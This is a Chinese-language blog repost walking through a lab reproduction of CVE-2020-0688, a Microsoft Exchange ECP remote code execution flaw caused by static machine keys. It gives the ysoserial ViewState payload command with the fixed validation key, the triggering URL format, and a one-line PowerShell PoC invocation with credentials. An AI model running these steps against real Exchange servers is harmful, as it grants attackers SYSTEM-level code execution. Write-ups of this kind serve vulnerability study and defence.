当前位置: 首页> 文旅> 旅游 > CVE-2020-0688 远程代码执行漏洞

CVE-2020-0688 远程代码执行漏洞

时间:2025/7/12 14:00:34来源:https://blog.csdn.net/qq_44159028/article/details/139353907 浏览次数:0次

CVE-2020-0688 远程代码执行漏洞

漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码

当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在 被攻击的exchange上执行任意代码,直接获取服务器权限

影响版本

  • Microsoft Exchange Server 2010 Service Pack 3
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019

漏洞利用前提

  • 获得一个邮件用户密码,且该邮箱登录过exchange

环境安装

参考:exchange2016安装

  • 实验环境:Exchange Server 2016 RTM 15.1.225.42

漏洞复现

手动复现
  1. 获取 __VIEWSTATEGENERATOR 和 ASP.NET_SessionId 的值

使用普通域用户(获取的邮箱用户)hacker登录管理中心/ecp/,定位到/ecp/,在其响应头中获取ASP.NET_SessionId 的值。同时在响应体中获得 __VIEWSTATEGENERATOR 的值,默认为“B97B4E27”

  • ASP.NET_SessionId = 7b9b620b-74bf-4cd2-a9c1-445d5f1720ae
  • __VIEWSTATEGENERATOR = B97B4E27

  1. 生成反序列化Payload

使用 ysoserial.exe 生成反序列化Payload,命令如下

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c notepad.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634" --isdebug -islegacy
  • validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF,这是固定的值,这是此漏洞产生的原因,修复补丁之后此值会做随机化处理
  • --generator="B97B4E27",这是返回包中获得 __VIEWSTATEGENERATOR 的值
  • --viewstateuserkey="f3107c61-7f93-4ea3-8673-1e741c3ad634",这是请求包中ASP.NET.SessionID的值

将生成的payload进行 url 编码

拼接为如下格式

https://192.168.59.131/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=url编码后的payload

保持用户hacker在登录的情况下,直接在浏览器中访问即可触发以system权限的命令执行

工具一键利用

poc:GitHub - MrTiz/CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server through fixed cryptographic keys

PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://192.168.59.131' -Username 'test.lab\hacker' -Password 'hacker.com' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\admin\Desktop\CVE-2020-0688-main\ysoserial\ysoserial.exe'

执行如上所示,exchange机器中将被成功创建C:/whoami.txt文件

关键字:CVE-2020-0688 远程代码执行漏洞

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: